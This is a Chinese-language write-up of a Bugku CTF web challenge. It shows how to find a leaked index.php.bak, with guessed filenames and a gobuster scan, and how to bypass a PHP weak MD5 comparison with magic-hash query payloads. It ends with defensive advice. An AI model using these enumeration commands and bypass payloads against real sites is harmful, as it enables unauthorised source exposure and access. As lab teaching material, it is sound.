> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Bugku CTF - 備份是個好習慣 writeup (zh-TW)
- URL: https://taiwanding.com/bugku-ctf-bei-fen-shi-ge-hao-xi-guan-writeup-zh-tw/
- Published: 2025-10-05T04:29:10.000Z
- Updated: 2025-10-05T04:29:10.000Z
- Author: Kevin Chen
- Tags: Bugku, CTF, web

## **題目資訊**

- **分類**: Web
- **分數: 20**
- **解決人次: 11278**
- **題目提示**: "备份是个好习惯"
- 題目連結: [https://ctf.bugku.com/challenges/detail/id/83.html](https://ctf.bugku.com/challenges/detail/id/83.html?ref=taiwanding.com)

## **解題過程**

### Step 1: 分析初始線索

題目給出一串看似隨機的字符串：

```
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

```

仔細觀察發現，這其實是**同一個 MD5 哈希重複兩次**：

- `d41d8cd98f00b204e9800998ecf8427e` × 2

這是一個非常著名的 MD5 值：**空字符串（`""`）的 MD5 哈希**！

💡 **小知識**：在 CTF 中記住這個哈希值很有用，它經常被用來提示"空"的概念。

猜測題目可能也跟MD5有關!

### Step 2: 理解題目提示

題目提示："**备份是个好习惯**"

這明確指向一個常見的 Web 漏洞：**備份文件泄露，**開發者在修改代碼時常會保留備份，但忘記在部署時刪除這些文件。

### Step 3: 尋找備份文件

方法 1：手動嘗試常見備份文件名（快速）  
基於經驗，直接嘗試常見的備份文件命名模式：

```bash
# 常見的 PHP 備份文件擴展名
index.php.bak      ✅ 命中！
index.php.old
index.php.swp
index.php~
index.php.save
.index.php.swp     # Vim swap 文件

```

**成功找到** `index.php.bak`！

方法 2：使用 gobuster 掃描

```bash
gobuster dir -u http://目標網站/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x bak,old,swp,save,txt,zip

```

**參數說明**：

- `-x`: 指定要測試的文件擴展名
- `-w`: 使用的字典文件

### Step 4: 分析源代碼

下載 `index.php.bak` 後，查看內容：

```php
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);  // 關鍵點 1
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){  // 關鍵點 2
    echo $flag."取得flag";
}
?>

```

**代碼分析**：

1. **`str_replace('key','',$str)`**
  - 會將 URL 參數中的 `key` 字符串刪除
  - 例如：`?kekeyy1=xxx` → `?key1=xxx`
2. **`md5($key1) == md5($key2) && $key1 !== $key2`**
  - 使用 `==` **弱類型比較**（重點！）
  - 需要兩個不同的值，但 MD5 值相等

### Step 5: 利用 MD5 魔術哈希繞過

PHP 弱類型比較的特性  
在 PHP 中，`==` 會進行類型轉換：

- `"0e123456" == "0e789012"` → `true`（都被當作科學計數法 0 × 10^...）
- 只要 MD5 值是 `0e` 開頭的純數字，就會被當作 0

### 尋找魔術哈希對

以下是兩組 MD5 魔術哈希：

| 原始值       | MD5 哈希                           | 弱類型值 |
| --------- | -------------------------------- | ---- |
| QNKCDZO   | 0e830400451993494058024219903391 | 0    |
| 240610708 | 0e462097431906509019562988736854 | 0    |

### 構造 Payload

記住要繞過 `str_replace('key','',$str)`，所以參數名要用 `kekeyy1` 和 `kekeyy2`：

```
?kekeyy1=QNKCDZO&kekeyy2=240610708

```

**執行過程**：

1. `str_replace('key','','kekeyy1')` → `key1` ✅
2. `md5('QNKCDZO')` \= `0e830400...` (弱類型 = 0)
3. `md5('240610708')` \= `0e462097...` (弱類型 = 0)
4. `0 == 0` → `true` ✅
5. `'QNKCDZO' !== '240610708'` → `true` ✅

### Step 6: 取得 Flag

訪問：

```
http://目標/?kekeyy1=QNKCDZO&kekeyy2=240610708

```

**輸出**：

```
0e8304004519934940580242199033910e462097431906509019562988736854
flag{xxxxx}取得flag

```

🎯 **成功取得 Flag！**

## 學習重點

### 1\. 備份文件泄露的防範

**開發者常見錯誤**：

- 編輯器自動生成的備份文件（`.bak`, `.swp`, `~`）
- 手動備份但忘記刪除（`.old`, `.backup`）
- 壓縮包備份（`web.zip`, `backup.tar.gz`）

### 2\. PHP 弱類型比較漏洞

**危險的比較方式**：

```php
// ❌ 危險
if (md5($input) == md5($target))

// ✅ 安全
if (md5($input) === md5($target))

```

**常見魔術哈希值**：

```
QNKCDZO       → 0e830400451993494058024219903391
240610708     → 0e462097431906509019562988736854
s878926199a   → 0e545993274517709034328855841020
s155964671a   → 0e342768416822451524974117254469

```

## 經驗分享

  
Bugku CTF，這一題利用了一連串的攻擊鏈，有別於之前的題目通常只需要一個方法即可，首先要找到備份的index.php.bak，並了解其中的php程式碼的概念，基本上也涵蓋了基礎的程式碼審計，很適合作為入門!